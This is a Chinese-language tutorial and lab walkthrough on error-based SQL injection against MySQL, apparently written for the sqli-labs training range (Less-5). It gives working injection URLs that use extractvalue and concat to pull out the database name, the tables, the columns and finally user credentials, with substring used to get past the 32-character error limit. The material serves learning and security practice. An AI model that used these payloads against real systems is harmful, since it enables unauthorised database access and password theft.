报错注入
什么是报错注入
构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包括数据库中的内容
如上图所示,通过group by的报错,我们可以知道列数是多少
输入正确的查询数据库的SQL语句,虽然可以执行成功,但是页面不显示数据库的名称
我们故意将database写为databasa,此时数据库的名称security在报错信息中显示了出来
因此可以利用报错的信息得到我们想要的信息。
1.通过floor()报错注入
2.通过extractvalue()报错注入
3.通过updatexml()报错注入
通过extractvalue()报错注入
extractvalue包含两个参数,第一个参数XML文档对象名称,第二个参数 路径
select extractvalue(doc,'/book/author/surname') from xml;
把查询参数格式符号写错
select extractvalue(doc,'`book/title') from xml;
可以看到'~book/title'在报错的时候是可以回显出来的,如果将这个地方换成SQL语句,他也会将结果以报错的形式反馈出来。
select extractvalue(doc,concat(0x7e,(select database()))) from xml;
错误提示成功报错出我们要查询的内容
extractvalue(1,2)//两个参数
concat(1,2)//两个参数
(select database())//要把命令写到括号里面,之后可以直接使用替换括号内容的方式进行查询。黄色括号里面
报错注入:一次只能返回32个字符问题,解决此问题可以使用substring函数
substring(1,2,3)三个参数,第一个参数是内容,第二个参数是要从第几个开始截取,第三个参数是要截取多少个
?id=1' and 1=extractvalue(1,concat(0x73,(select substring(group_concat(username,'-',password),25,30)from users))) --+
1.数据库 security
2.数据库 http://sqli-labs:8088/Less-5/?id=1' union select extractvalue (1,concat(0x7e,(select database()))) --+
3.数据表 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
4.数据段 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
5.查询内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+
6.截取内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),30,60) from security.users))) --+
本次注入sqli-labs靶场的Less-5
首先按照页面提示,get请求拼接?id=1尝试,发现页面显示You are in......... 页面可以正常显示
按照我们注入的顺序,第一步先去分析是字符型还是数字型,如果是字符型要弄清楚闭合方式是什么,我们随便丢一个单引号尝试。根据报错提示,可以看出是字符型注入而且闭合方式是单引号
下一步去判断列数,使用order by函数。列数为3时可以正常显示,由此判定列数为3
构造SQL语句,查询数据库信息,查看回显内容位置,发现命令执行成功,但是页面没有回显内容。
直接尝试报错注入,使用extractvalue函数。构造SQL语句
http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,'~adb') --+
可以看到报错回显了内容信息,可以使用报错注入。
先查数据库,构造SQL语句
http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+
拿到了数据库名称security
紧接着查询数据表,构造SQL语句
http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
得到数据表 users,根据经验可以猜出账号与密码都在这个表里面
查询数据表里面的字段,构造SQL语句
http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+
拿到字段:id,username,password
都到这一步了,直接查询username,password这两个字段里面的信息,构造SQL语句
http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+
得到了内容,但是显示的不完整,这是因为报错注入一次只能返回32个字符,直接使用substring函数帮助我们
http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users))) --+
注入完成!